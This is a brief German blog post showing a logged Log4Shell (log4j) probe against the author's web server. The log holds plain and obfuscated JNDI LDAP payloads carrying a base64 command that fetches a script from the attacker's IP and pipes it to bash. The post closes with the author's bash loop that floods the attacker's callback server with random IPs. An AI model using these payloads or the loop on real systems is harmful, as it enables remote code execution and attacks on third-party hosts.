log4j

Glitch: log4j

Written by  on Dezember 28, 2021

Interessant, jemand versucht meinen Webserver zum nach Hause telefonieren zu bringen.

195.54.160.149 - - [23/Dec/2021:10:44:51 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMTcuMTYuMTE0LjIxOTo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMTcuMTYuMTE0LjIxOTo4MCl8YmFzaA==} HTTP/1.1" 200 17829 "http://217.16.114.219:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMTcuMTYuMTE0LjIxOTo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMTcuMTYuMTE0LjIxOTo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMTcuMTYuMTE0LjIxOTo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMTcuMTYuMTE0LjIxOTo4MCl8YmFzaA==}"

Wenn ihr IPs sammeln wollt, wo log4j anfällig ist, bitteschön, hier eine besonders ausführliche Liste

while true; do IP="$(($RANDOM%255)).$(($RANDOM%255)).$(($RANDOM%255)).$(($RANDOM%255))" && curl http://195.54.160.149:5874/${IP}:80 && echo $IP success; done